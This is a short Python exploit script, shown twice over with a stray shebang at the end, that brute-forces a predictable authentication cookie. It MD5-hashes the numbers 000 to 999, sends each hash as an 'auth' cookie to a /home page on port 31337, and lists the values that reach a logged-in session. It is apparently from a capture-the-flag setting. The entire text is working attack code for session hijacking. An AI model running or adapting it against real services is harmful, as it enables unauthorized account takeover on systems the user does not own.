#!/usr/bin/env python3


import sys
import pycurl
import lib
import hashlib

PORT=31337

def exploit(target):
    hacked = [ ]
    for i in range(1000):
        padded_i = "0" * (3 - len(str(i))) + str(i) + "\n"
        auth_cookie = hashlib.md5(padded_i.encode()).hexdigest()

        print(i, auth_cookie)
        r = lib._get_request("https://{}:{}/home".format(target,PORT), cookies="auth={}".format(auth_cookie), follow=False, verbose=False)

        if 'GET /login' in r:
            continue
        elif 'Logout' in r:
            print("Hacked {}".format(i))
            hacked.append(i)

    print(hacked)

if __name__ == "__main__":
    exploit(sys.argv[1])
#!/usr/bin/env python3


import sys
import pycurl
import lib
import hashlib

PORT=31337

def exploit(target):
    hacked = [ ]
    for i in range(1000):
        padded_i = "0" * (3 - len(str(i))) + str(i) + "\n"
        auth_cookie = hashlib.md5(padded_i.encode()).hexdigest()

        print(i, auth_cookie)
        r = lib._get_request("https://{}:{}/home".format(target,PORT), cookies="auth={}".format(auth_cookie), follow=False, verbose=False)

        if 'GET /login' in r:
            continue
        elif 'Logout' in r:
            print("Hacked {}".format(i))
            hacked.append(i)

    print(hacked)

if __name__ == "__main__":
    exploit(sys.argv[1])
#!/usr/bin/env python3